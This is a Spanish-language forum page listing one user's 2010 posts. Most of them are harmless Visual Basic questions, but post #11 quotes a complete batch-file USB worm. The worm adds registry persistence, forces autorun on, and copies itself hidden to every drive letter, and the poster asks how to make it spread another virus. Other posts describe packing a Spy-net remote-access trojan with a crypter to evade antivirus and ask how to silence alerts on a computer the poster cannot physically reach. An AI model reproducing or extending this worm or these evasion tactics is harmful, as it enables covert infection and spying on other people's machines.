Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - SockMon

#11
Scripting / Duda con propagacion por usb
5 Septiembre 2010, 19:20 PM
Bueno buscando por internet encontre este batch de DracoX pero me surgen varias dudas.
Código (bash) [Seleccionar]
@echo off
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v USB-Auto /d %windir%\USB-Auto\USB.bat /f
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Cdrom /v AutoRun /t REG_DWORD /d 1 /f
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon /v allocatecdroms /d 0 /f
reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDriveTypeAutoRun /f
reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDriveTypeAutoRun /f
reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDriveAutoRun /f

if exist %windir%\USB-Auto\ Del /f /s /q %windir%\USB-Auto\
md %windir%\USB-Auto\
pushd %windir%\USB-Auto\
copy %0 USB.bat

echo [autorun]>>autorun.inf
echo open=USB.bat>>autorun.inf
echo icon=icon.ico>>autorun.inf
echo label=Infected>>autorun.inf

for %%x in (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z) do copy /Y autorun.inf %%x:\autorun.inf && copy %0 %%x:\USB.bat && copy /Y %0 %%x:\icon.ico && attrib +R +S +H %%x:\icon.ico && attrib +R +S +H %%x:\USB.bat && attrib +R +S +H %%x:\autorun.inf


Esto lo unico que haria seria copiarse a si mismo guardarse en el pc y copiarse automaticamente en cualquier usb que se conecte no?

Por que realiza algunas acciones con el registro?

Como lo tendria que modificar para que tambien propagara un virus ejemplo mibixo.exe?

Por ultimo hace falta crearle un autorun para que se ejecute cuando se abra la unidad?

Gracias
#12
Si utilice un crypter y es tanto runtime como scantime, en realidad el AV no lo detecta como virus si no que me informa de que esta teniendo acceso a datos del sistema y eso lo pone a menudo cuando intento instalar un programa que no tiene firma digital.
#13
Cita de: SnakingMax en  4 Septiembre 2010, 18:11 PM
Pero eso será efectivo hasta que se ejecute el virus.

Saludos

Pero una vez que sea ejecutado volvera a salir esas notificaciones y apareceria de nuevo el problema.
#14
Hola, utilizo Kaspersky IS, logro hacer el server del Spy-net indetectable pero cuando lo ejecuto el AV me informa de que server.exe quiere tener acceso a datos del sistema (eso sale cada vez que abro alguna funcion del spy-net (keylooger, remote cam...) Y he puesto el server en la lista de excepciones del AV y ya no salen esos mensajes, pero claro ¿que puedo hacer para que no salga ese mensaje en una PC a la q no tenga acceso fisicamente?
#15
por que me recomiendas ese?
#16
No se si es mucho pedir pero podrias traducirlo o alguien que lo haga porfavor.
#17
Hola, no quiero ser pesado  :( pero me sigue dando los mismo errores, he pensado que alomejor usamos distintas versiones de visual basic. Yo utilizo Visual Basic 2008 Express Edition.
#18
Hey, cada dia creo que soy mas torpe en el textbox puse esto (en el codigo).
Código (vb) [Seleccionar]
Private Sub Form_Load()
       Dim direccion As String
       direccion = "C:\Users\Adrián\Desktop\datos.txt"
       TextBox4 = ""

 Open direccion For Input As #1


       While Not EOF(1)

   Line Input #1, Linea

           TextBox4 = Linea

       End While

       Close()




   End Sub


Yo cambie text1 por textbox4  porque supuse que como es otra version cambia el nombre de los objetos y ademas me cambia automaticamente Wend por End While. Pero ahora me da varios errores.

Errores: http://img842.imageshack.us/i/228201014881.jpg/
#19
Muchas gracias petro_boca tiene buena pinta, hoy no me da tiempo de probarlo mañana lo hago y te cuento, porfavor no me cierren el post hasta mañana por la noche por si me surge alguna duda.
GRACIAS
#20
Cita de: petro_boca en 22 Agosto 2010, 01:27 AM
Cita de: SockMon en 22 Agosto 2010, 01:15 AM


Creo que lo que me dices no es lo que busco, pero gracias. Dime si me equivoco(eso es para que se habra lo que ponga en el textbox no?) Enparte eso es lo que quiero pero que una vez que cierre el programa se quede guardada esa direccion y que si algun dia la quiero cambiar que se pueda.


ahh..

yo cargaria un txt a la memoria, y q el txt tenga escrita la ruta, y q despues carges el contenido del txt (la ruta) al text1.text

Bien, pero se podria cambiar y guardar una nueva direccion con ese metodo todas las veces que quieras.
Y como se haria? :huh: :-[